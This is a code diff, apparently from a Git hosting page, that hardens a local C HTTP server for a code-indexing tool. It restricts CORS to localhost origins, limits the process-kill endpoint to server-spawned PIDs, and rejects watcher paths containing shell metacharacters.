CORS_HEADERS "Content-Type: %s\r\n"
|
||||
"Cache-Control: public, max-age=31536000, immutable\r\n",
|
||||
f->content_type);
|
||||
"%sContent-Type: %s\r\n"
|
||||
"Cache-Control: public, max-age=31536000, immutable\r\n",
|
||||
g_cors, f->content_type);
|
||||
|
||||
mg_http_reply(c, 200, hdrs, "%.*s", (int)f->size, (const char *)f->data);
|
||||
return true;
|
||||
@@ -130,7 +170,7 @@ static void handle_logs(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
char *buf = malloc(buf_size);
|
||||
if (!buf) {
|
||||
cbm_mutex_unlock(&g_log_mutex);
|
||||
mg_http_reply(c, 500, CORS_HEADERS, "oom");
|
||||
mg_http_reply(c, 500, g_cors, "oom");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -162,7 +202,7 @@ static void handle_logs(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
cbm_mutex_unlock(&g_log_mutex);
|
||||
pos += snprintf(buf + pos, buf_size - (size_t)pos, "],\"total\":%d}", total);
|
||||
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
|
||||
mg_http_reply(c, 200, g_cors_json, "%s", buf);
|
||||
free(buf);
|
||||
}
|
||||
|
||||
@@ -242,13 +282,13 @@ static void handle_processes(struct mg_connection *c) {
|
||||
pos += snprintf(buf + pos, sizeof(buf) - (size_t)pos, "]}");
|
||||
#endif
|
||||
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
|
||||
mg_http_reply(c, 200, g_cors_json, "%s", buf);
|
||||
}
|
||||
|
||||
/* POST /api/process-kill — kill a process by PID */
|
||||
static void handle_process_kill(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
if (hm->body.len == 0 || hm->body.len > 256) {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"invalid body\"}");
|
||||
return;
|
||||
}
|
||||
@@ -259,7 +299,7 @@ static void handle_process_kill(struct mg_connection *c, struct mg_http_message
|
||||
|
||||
yyjson_doc *doc = yyjson_read(body, hm->body.len, 0);
|
||||
if (!doc) {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"invalid json\"}");
|
||||
return;
|
||||
}
|
||||
@@ -267,7 +307,7 @@ static void handle_process_kill(struct mg_connection *c, struct mg_http_message
|
||||
yyjson_val *v_pid = yyjson_obj_get(root, "pid");
|
||||
if (!v_pid || !yyjson_is_int(v_pid)) {
|
||||
yyjson_doc_free(doc);
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"missing pid\"}");
|
||||
return;
|
||||
}
|
||||
@@ -279,30 +319,49 @@ static void handle_process_kill(struct mg_connection *c, struct mg_http_message
|
||||
#else
|
||||
if (target_pid == (int)getpid()) {
|
||||
#endif
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"cannot kill self (use the UI server's own shutdown)\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
#ifndef _WIN32
|
||||
/* Only allow killing PIDs that were spawned by this server (indexing jobs) */
|
||||
{
|
||||
bool pid_is_ours = false;
|
||||
for (int i = 0; i < MAX_INDEX_JOBS; i++) {
|
||||
if (atomic_load(&g_index_jobs[i].status) == 1 &&
|
||||
g_index_jobs[i].child_pid == target_pid) {
|
||||
pid_is_ours = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!pid_is_ours) {
|
||||
mg_http_reply(c, 403, g_cors_json,
|
||||
"{\"error\":\"can only kill server-spawned processes\"}");
|
||||
return;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
HANDLE hproc = OpenProcess(PROCESS_TERMINATE, FALSE, (DWORD)target_pid);
|
||||
if (!hproc || !TerminateProcess(hproc, 1)) {
|
||||
if (hproc)
|
||||
CloseHandle(hproc);
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"kill failed\"}");
|
||||
return;
|
||||
}
|
||||
CloseHandle(hproc);
|
||||
#else
|
||||
if (kill(target_pid, SIGTERM) != 0) {
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"kill failed\"}");
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "{\"killed\":%d}",
|
||||
mg_http_reply(c, 200, g_cors_json, "{\"killed\":%d}",
|
||||
target_pid);
|
||||
}
|
||||
|
||||
@@ -323,14 +382,14 @@ static void handle_browse(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
}
|
||||
|
||||
if (!cbm_is_dir(path)) {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"not a directory\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
DIR *dir = opendir(path);
|
||||
if (!dir) {
|
||||
mg_http_reply(c, 403, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 403, g_cors_json,
|
||||
"{\"error\":\"cannot open directory\"}");
|
||||
return;
|
||||
}
|
||||
@@ -373,7 +432,7 @@ static void handle_browse(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
snprintf(parent, sizeof(parent), "/");
|
||||
|
||||
pos += snprintf(buf + pos, sizeof(buf) - (size_t)pos, "],\"parent\":\"%s\"}", parent);
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
|
||||
mg_http_reply(c, 200, g_cors_json, "%s", buf);
|
||||
}
|
||||
|
||||
/* ── ADR endpoints ────────────────────────────────────────────── */
|
||||
@@ -382,7 +441,7 @@ static void handle_browse(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
static void handle_adr_get(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
char name[256] = {0};
|
||||
if (!get_query_param(hm->query, "project", name, (int)sizeof(name)) || name[0] == '\0') {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"missing project\"}");
|
||||
return;
|
||||
}
|
||||
@@ -395,7 +454,7 @@ static void handle_adr_get(struct mg_connection *c, struct mg_http_message *hm)
|
||||
|
||||
cbm_store_t *store = cbm_store_open_path(db_path);
|
||||
if (!store) {
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 200, g_cors_json,
|
||||
"{\"has_adr\":false}");
|
||||
return;
|
||||
}
|
||||
@@ -430,14 +489,14 @@ static void handle_adr_get(struct mg_connection *c, struct mg_http_message *hm)
|
||||
}
|
||||
pos += snprintf(buf + pos, buf_size - (size_t)pos, "\",\"updated_at\":\"%s\"}",
|
||||
adr.updated_at ? adr.updated_at : "");
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
|
||||
mg_http_reply(c, 200, g_cors_json, "%s", buf);
|
||||
free(buf);
|
||||
} else {
|
||||
mg_http_reply(c, 500, CORS_HEADERS, "oom");
|
||||
mg_http_reply(c, 500, g_cors, "oom");
|
||||
}
|
||||
cbm_store_adr_free(&adr);
|
||||
} else {
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 200, g_cors_json,
|
||||
"{\"has_adr\":false}");
|
||||
}
|
||||
cbm_store_close(store);
|
||||
@@ -446,14 +505,14 @@ static void handle_adr_get(struct mg_connection *c, struct mg_http_message *hm)
|
||||
/* POST /api/adr — save ADR content. Body: {"project":"...","content":"..."} */
|
||||
static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
if (hm->body.len == 0 || hm->body.len > 16384) {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"invalid body\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
char *body = malloc(hm->body.len + 1);
|
||||
if (!body) {
|
||||
mg_http_reply(c, 500, CORS_HEADERS, "oom");
|
||||
mg_http_reply(c, 500, g_cors, "oom");
|
||||
return;
|
||||
}
|
||||
memcpy(body, hm->body.buf, hm->body.len);
|
||||
@@ -462,7 +521,7 @@ static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm)
|
||||
yyjson_doc *doc = yyjson_read(body, hm->body.len, 0);
|
||||
free(body);
|
||||
if (!doc) {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"invalid json\"}");
|
||||
return;
|
||||
}
|
||||
@@ -472,7 +531,7 @@ static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm)
|
||||
yyjson_val *v_content = yyjson_obj_get(root, "content");
|
||||
if (!v_proj || !yyjson_is_str(v_proj) || !v_content || !yyjson_is_str(v_content)) {
|
||||
yyjson_doc_free(doc);
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"missing project or content\"}");
|
||||
return;
|
||||
}
|
||||
@@ -489,7 +548,7 @@ static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm)
|
||||
cbm_store_t *store = cbm_store_open_path(db_path);
|
||||
yyjson_doc_free(doc);
|
||||
if (!store) {
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"cannot open store\"}");
|
||||
return;
|
||||
}
|
||||
@@ -498,27 +557,16 @@ static void handle_adr_save(struct mg_connection *c, struct mg_http_message *hm)
|
||||
cbm_store_close(store);
|
||||
|
||||
if (rc == CBM_STORE_OK) {
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 200, g_cors_json,
|
||||
"{\"saved\":true}");
|
||||
} else {
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"save failed\"}");
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Background indexing ──────────────────────────────────────── */
|
||||
|
||||
#define MAX_INDEX_JOBS 4
|
||||
|
||||
typedef struct {
|
||||
char root_path[1024];
|
||||
char project_name[256];
|
||||
atomic_int status; /* 0=idle, 1=running, 2=done, 3=error */
|
||||
char error_msg[256];
|
||||
} index_job_t;
|
||||
|
||||
static index_job_t g_index_jobs[MAX_INDEX_JOBS];
|
||||
|
||||
static char g_binary_path[1024] = {0};
|
||||
|
||||
void cbm_http_server_set_binary_path(const char *path) {
|
||||
@@ -621,6 +669,7 @@ static void *index_thread_fn(void *arg) {
|
||||
atomic_store(&job->status, 3);
|
||||
return NULL;
|
||||
}
|
||||
job->child_pid = child_pid;
|
||||
|
||||
if (child_pid == 0) {
|
||||
FILE *lf = freopen(log_file, "w", stderr);
|
||||
@@ -679,7 +728,7 @@ static void *index_thread_fn(void *arg) {
|
||||
/* POST /api/index — body: {"root_path": "/abs/path"} → starts background indexing */
|
||||
static void handle_index_start(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
if (hm->body.len == 0 || hm->body.len > 4096) {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"invalid body\"}");
|
||||
return;
|
||||
}
|
||||
@@ -690,7 +739,7 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
|
||||
|
||||
yyjson_doc *doc = yyjson_read(body_buf, hm->body.len, 0);
|
||||
if (!doc) {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"invalid json\"}");
|
||||
return;
|
||||
}
|
||||
@@ -698,7 +747,7 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
|
||||
yyjson_val *v_path = yyjson_obj_get(root, "root_path");
|
||||
if (!v_path || !yyjson_is_str(v_path)) {
|
||||
yyjson_doc_free(doc);
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"missing root_path\"}");
|
||||
return;
|
||||
}
|
||||
@@ -707,7 +756,7 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
|
||||
/* Check path exists */
|
||||
if (!cbm_is_dir(rpath)) {
|
||||
yyjson_doc_free(doc);
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"directory not found\"}");
|
||||
return;
|
||||
}
|
||||
@@ -723,7 +772,7 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
|
||||
}
|
||||
if (slot < 0) {
|
||||
yyjson_doc_free(doc);
|
||||
mg_http_reply(c, 429, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 429, g_cors_json,
|
||||
"{\"error\":\"all index slots busy\"}");
|
||||
return;
|
||||
}
|
||||
@@ -739,12 +788,12 @@ static void handle_index_start(struct mg_connection *c, struct mg_http_message *
|
||||
if (cbm_thread_create(&tid, 0, index_thread_fn, job) != 0) {
|
||||
atomic_store(&job->status, 3);
|
||||
snprintf(job->error_msg, sizeof(job->error_msg), "thread creation failed");
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"thread creation failed\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
mg_http_reply(c, 202, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 202, g_cors_json,
|
||||
"{\"status\":\"indexing\",\"slot\":%d,\"path\":\"%s\"}", slot, job->root_path);
|
||||
}
|
||||
|
||||
@@ -765,14 +814,14 @@ static void handle_index_status(struct mg_connection *c) {
|
||||
}
|
||||
buf[pos++] = ']';
|
||||
buf[pos] = '\0';
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", buf);
|
||||
mg_http_reply(c, 200, g_cors_json, "%s", buf);
|
||||
}
|
||||
|
||||
/* DELETE /api/project?name=X — deletes the .db file */
|
||||
static void handle_delete_project(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
char name[256] = {0};
|
||||
if (!get_query_param(hm->query, "name", name, (int)sizeof(name)) || name[0] == '\0') {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"missing name\"}");
|
||||
return;
|
||||
}
|
||||
@@ -784,13 +833,13 @@ static void handle_delete_project(struct mg_connection *c, struct mg_http_messag
|
||||
snprintf(db_path, sizeof(db_path), "%s/.cache/codebase-memory-mcp/%s.db", home, name);
|
||||
|
||||
if (!cbm_file_exists(db_path)) {
|
||||
mg_http_reply(c, 404, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 404, g_cors_json,
|
||||
"{\"error\":\"project not found\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
if (unlink(db_path) != 0) {
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"failed to delete\"}");
|
||||
return;
|
||||
}
|
||||
@@ -803,14 +852,14 @@ static void handle_delete_project(struct mg_connection *c, struct mg_http_messag
|
||||
(void)unlink(shm_path);
|
||||
|
||||
cbm_log_info("ui.project.deleted", "name", name);
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "{\"deleted\":true}");
|
||||
mg_http_reply(c, 200, g_cors_json, "{\"deleted\":true}");
|
||||
}
|
||||
|
||||
/* GET /api/project-health?name=X — checks db integrity */
|
||||
static void handle_project_health(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
char name[256] = {0};
|
||||
if (!get_query_param(hm->query, "name", name, (int)sizeof(name)) || name[0] == '\0') {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"missing name\"}");
|
||||
return;
|
||||
}
|
||||
@@ -822,14 +871,14 @@ static void handle_project_health(struct mg_connection *c, struct mg_http_messag
|
||||
snprintf(db_path, sizeof(db_path), "%s/.cache/codebase-memory-mcp/%s.db", home, name);
|
||||
|
||||
if (!cbm_file_exists(db_path)) {
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 200, g_cors_json,
|
||||
"{\"status\":\"missing\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
cbm_store_t *store = cbm_store_open_path(db_path);
|
||||
if (!store) {
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 200, g_cors_json,
|
||||
"{\"status\":\"corrupt\",\"reason\":\"cannot open\"}");
|
||||
return;
|
||||
}
|
||||
@@ -840,7 +889,7 @@ static void handle_project_health(struct mg_connection *c, struct mg_http_messag
|
||||
|
||||
int64_t size = cbm_file_size(db_path);
|
||||
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 200, g_cors_json,
|
||||
"{\"status\":\"healthy\",\"nodes\":%d,\"edges\":%d,\"size_bytes\":%lld}",
|
||||
node_count, edge_count, (long long)size);
|
||||
}
|
||||
@@ -860,7 +909,7 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
|
||||
if (!get_query_param(hm->query, "project", project, (int)sizeof(project)) ||
|
||||
project[0] == '\0') {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"error\":\"missing project parameter\"}");
|
||||
return;
|
||||
}
|
||||
@@ -880,14 +929,14 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
snprintf(db_path, sizeof(db_path), "%s/.cache/codebase-memory-mcp/%s.db", home, project);
|
||||
|
||||
if (!cbm_file_exists(db_path)) {
|
||||
mg_http_reply(c, 404, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 404, g_cors_json,
|
||||
"{\"error\":\"project not found\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
cbm_store_t *store = cbm_store_open_path(db_path);
|
||||
if (!store) {
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"cannot open store\"}");
|
||||
return;
|
||||
}
|
||||
@@ -897,7 +946,7 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
cbm_store_close(store);
|
||||
|
||||
if (!layout) {
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"layout computation failed\"}");
|
||||
return;
|
||||
}
|
||||
@@ -906,12 +955,12 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
cbm_layout_free(layout);
|
||||
|
||||
if (!json) {
|
||||
mg_http_reply(c, 500, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 500, g_cors_json,
|
||||
"{\"error\":\"JSON serialization failed\"}");
|
||||
return;
|
||||
}
|
||||
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", json);
|
||||
mg_http_reply(c, 200, g_cors_json, "%s", json);
|
||||
free(json);
|
||||
}
|
||||
|
||||
@@ -919,7 +968,7 @@ static void handle_layout(struct mg_connection *c, struct mg_http_message *hm) {
|
||||
|
||||
static void handle_rpc(struct mg_connection *c, struct mg_http_message *hm, cbm_mcp_server_t *mcp) {
|
||||
if (hm->body.len == 0 || hm->body.len > MAX_BODY_SIZE) {
|
||||
mg_http_reply(c, 400, CORS_HEADERS "Content-Type: application/json\r\n",
|
||||
mg_http_reply(c, 400, g_cors_json,
|
||||
"{\"jsonrpc\":\"2.0\",\"error\":{\"code\":-32600,"
|
||||
"\"message\":\"invalid request size\"},\"id\":null}");
|
||||
return;
|
||||
@@ -928,7 +977,7 @@ static void handle_rpc(struct mg_connection *c, struct mg_http_message *hm, cbm_
|
||||
/* NUL-terminate the body for cbm_mcp_server_handle */
|
||||
char *body = malloc(hm->body.len + 1);
|
||||
if (!body) {
|
||||
mg_http_reply(c, 500, CORS_HEADERS, "out of memory");
|
||||
mg_http_reply(c, 500, g_cors, "out of memory");
|
||||
return;
|
||||
}
|
||||
memcpy(body, hm->body.buf, hm->body.len);
|
||||
@@ -938,10 +987,10 @@ static void handle_rpc(struct mg_connection *c, struct mg_http_message *hm, cbm_
|
||||
free(body);
|
||||
|
||||
if (response) {
|
||||
mg_http_reply(c, 200, CORS_HEADERS "Content-Type: application/json\r\n", "%s", response);
|
||||
mg_http_reply(c, 200, g_cors_json, "%s", response);
|
||||
free(response);
|
||||
} else {
|
||||
mg_http_reply(c, 204, CORS_HEADERS, "");
|
||||
mg_http_reply(c, 204, g_cors, "");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -954,9 +1003,14 @@ static void http_handler(struct mg_connection *c, int ev, void *ev_data) {
|
||||
struct mg_http_message *hm = ev_data;
|
||||
cbm_http_server_t *srv = c->fn_data;
|
||||
|
||||
/* Build per-request CORS headers (only reflects localhost origins) */
|
||||
update_cors(hm);
|
||||
|
||||
/* OPTIONS preflight for CORS */
|
||||
if (mg_strcmp(hm->method, mg_str("OPTIONS")) == 0) {
|
||||
mg_http_reply(c, 204, CORS_HEADERS "Content-Length: 0\r\n", "");
|
||||
char opt_hdrs[512];
|
||||
snprintf(opt_hdrs, sizeof(opt_hdrs), "%sContent-Length: 0\r\n", g_cors);
|
||||
mg_http_reply(c, 204, opt_hdrs, "");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1045,13 +1099,13 @@ static void http_handler(struct mg_connection *c, int ev, void *ev_data) {
|
||||
if (mg_match(hm->uri, mg_str("/"), NULL)) {
|
||||
const cbm_embedded_file_t *f = cbm_embedded_lookup("/index.html");
|
||||
if (f) {
|
||||
mg_http_reply(c, 200,
|
||||
CORS_HEADERS "Content-Type: text/html\r\n"
|
||||
"Cache-Control: no-cache\r\n",
|
||||
"%.*s", (int)f->size, (const char *)f->data);
|
||||
char html_hdrs[512];
|
||||
snprintf(html_hdrs, sizeof(html_hdrs),
|
||||
"%sContent-Type: text/html\r\nCache-Control: no-cache\r\n", g_cors);
|
||||
mg_http_reply(c, 200, html_hdrs, "%.*s", (int)f->size, (const char *)f->data);
|
||||
return;
|
||||
}
|
||||
mg_http_reply(c, 404, CORS_HEADERS, "no frontend embedded");
|
||||
mg_http_reply(c, 404, g_cors, "no frontend embedded");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1067,7 +1121,7 @@ static void http_handler(struct mg_connection *c, int ev, void *ev_data) {
|
||||
|
||||
if (serve_embedded(c, path))
|
||||
return;
|
||||
mg_http_reply(c, 404, CORS_HEADERS, "not found");
|
||||
mg_http_reply(c, 404, g_cors, "not found");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1084,7 +1138,7 @@ static void http_handler(struct mg_connection *c, int ev, void *ev_data) {
|
||||
return;
|
||||
}
|
||||
|
||||
mg_http_reply(c, 404, CORS_HEADERS, "not found");
|
||||
mg_http_reply(c, 404, g_cors, "not found");
|
||||
}
|
||||
|
||||
/* ── Public API ───────────────────────────────────────────────── */
|
||||
|
||||
@@ -19,6 +19,7 @@
|
||||
#include "foundation/hash_table.h"
|
||||
#include "foundation/compat.h"
|
||||
#include "foundation/compat_fs.h"
|
||||
#include "foundation/str_util.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -224,6 +225,13 @@ void cbm_watcher_watch(cbm_watcher_t *w, const char *project_name, const char *r
|
||||
return;
|
||||
}
|
||||
|
||||
/* Reject paths with shell metacharacters — all git helpers use popen/system */
|
||||
if (!cbm_validate_shell_arg(root_path)) {
|
||||
cbm_log_warn("watcher.watch.reject", "project", project_name, "reason",
|
||||
"path contains shell metacharacters");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Remove old entry first (key points to state's project_name) */
|
||||
project_state_t *old = cbm_ht_get(w->projects, project_name);
|
||||
if (old) {
|
||||
|
||||
Reference in New Issue
Block a user